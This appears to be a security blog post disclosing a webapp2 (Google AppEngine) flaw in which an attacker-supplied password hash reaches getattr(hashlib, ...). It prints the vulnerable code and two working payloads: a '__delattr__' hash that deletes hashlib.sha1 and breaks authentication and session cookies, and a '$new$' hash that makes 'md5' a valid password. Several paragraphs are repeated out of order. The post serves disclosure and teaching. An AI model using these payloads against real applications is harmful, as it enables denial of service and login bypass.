What's this, you think?
07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
It's easy to tell that this is a salted password hash, using sha1 as the hashing algorithm. What do you do with it? You crack it, obviously!
No wonder that when talking about password hashes security, we usually only consider salt length, using salt & pepper or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to read our hashes". Granted, these issues are extremely important, but there are others.
No wonder that when talking about password hashes security, we usually only consider salt length, using salt & pepper or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to read our hashes". Granted, these issues are extremely important, but there are others.
A weird assumption
Today, we'll speculate what can be done when the attacker gets to supply you with a password hash like above.
Who would ever allow the user to submit a password hash, you ask? Well, for example Wordpress did and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone wrote a malicious hash in your DB.
When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, webapp2 security module uses a standard Python module, hashlib.
1 and 2 happen in User.get_by_auth_password() 3 to 5 in in webapp2_extras.security.check_password_hash():
Webapp2 uses getattr(hashlib, method)(password).hexdigest(), and we control both method and password.
Granted, the construct does its job. Installed algorithms work, NoneType error is thrown for non supported algorithms, and the hash is correct:
Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted hashlib will live until application has shut down and gets restarted (methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!
Disclaimer: This is tracked with issue #87. Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But getattr(hashlib, something-from-user) construct is very popular, so feel free to find a similar vulnerability elsewhere:
Introducing the culprit
We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at Google AppEngine. For Python applications, Google suggests webapp2. Fine with me, let's do it!When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, webapp2 security module uses a standard Python module, hashlib.
Authenticating in webapp2
When does webapp2 application process a hash? Usually, when authenticating. For example, if user ba_baracus submits a password ipitythefool, application:- Finds the record for user ba_baracus
- Extracts his password hash: 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
- Parses it, extracting the random salt (1FsWaTxdaa5i) and algorithm (sha1)
- Calculates sha1 hash of ipitythefool, combined with the salt (e.g. uses hmac with salt as a key)
- Compares the result with 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2. Sorry, Mr T, password incorrect this time!
1 and 2 happen in User.get_by_auth_password() 3 to 5 in in webapp2_extras.security.check_password_hash():
def check_password_hash(password, pwhash, pepper=None): """Checks a password against a given salted and hashed password value. In order to support unsalted legacy passwords this method supports plain text passwords, md5 and sha1 hashes (both salted and unsalted). :param password: The plaintext password to compare against the hash. :param pwhash: A hashed string like returned by :func:`generate_password_hash`. :param pepper: A secret constant stored in the application code. :returns: `True` if the password matched, `False` otherwise. This function was ported and adapted from `Werkzeug`_. """ if pwhash.count('$') < 2: return False hashval, method, salt = pwhash.split('$', 2) return hash_password(password, method, salt, pepper) == hashval def hash_password(password, method, salt=None, pepper=None): """Hashes a password. Supports plaintext without salt, unsalted and salted passwords. In case salted passwords are used hmac is used. :param password: The password to be hashed. :param method: A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`. :param salt: A random salt string. :param pepper: A secret constant stored in the application code. :returns: A hashed password. This function was ported and adapted from `Werkzeug`_. """ password = webapp2._to_utf8(password) if method == 'plain': return password method = getattr(hashlib, method, None) if not method: return None if salt: h = hmac.new(webapp2._to_utf8(salt), password, method) else: h = method(password) if pepper: h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method) return h.hexdigest()So, during authentication, we control pwhash (it's our planted hash), and password. What harm can we do? First, a little hashlib 101:
Back to school
How does one use hashlib? First, you create an object with a specified algorithm:Then you just fill it with string to hash, using update() method (you can also pass the string directly to the constructor), and later on use e.g. hexdigest() to extract the hash. Very simple:new(name, string='') - returns a new hash object implementing the given hash function; initializing the hash using the given string data. Named constructor functions are also available, these are much faster than using new(): md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
>>> import hashlib >>> hashlib.md5('a string').hexdigest() '3a315533c0f34762e0c45e3d4e9d525c' >>> hashlib.new('md5','a string').hexdigest() '3a315533c0f34762e0c45e3d4e9d525c'
Webapp2 uses getattr(hashlib, method)(password).hexdigest(), and we control both method and password.
Granted, the construct does its job. Installed algorithms work, NoneType error is thrown for non supported algorithms, and the hash is correct:
>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest() '77963b7a931377ad4ab5ad6a9cd718aa' >>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest() '9c969ddf454079e3d439973bbab63ea6233e4087' >>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: 'NoneType' object is not callable
It's a kind of magic!
There is a slight problem with this approach though - magic methods. Even a simple __dir__ gives us a hint that there's quite a few additional, magic methods:>>> dir(hashlib) ['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']which means, for example, that if arbitrary strings can be passed as 2nd attribute to getattr(), there's much more than NoneType error that can happen:
>>> getattr(hashlib, '__name__')() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: 'str' object is not callable >>> getattr(hashlib, '__class__') <type 'module'> >>> getattr(hashlib, '__class__')('hash_me') <module 'hash_me' (built-in)> >>> getattr(hashlib, 'new')('md5').hexdigest() 'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''That last bit is kewl - you can plant a hash format: md5_of_empty_string$new$ and the correct password is... md5!
Final act
__class__ may have a class, but __delattr__ is the real gangster!>>> import hashlib >>> hashlib.sha1 <built-in function="" openssl_sha1=""> >>> getattr(hashlib, '__delattr__')('sha1').hexdigest() Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'NoneType' object has no attribute 'hexdigest' >>> hashlib.sha1 Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'sha1'
Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted hashlib will live until application has shut down and gets restarted (methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!
No comments:
Post a Comment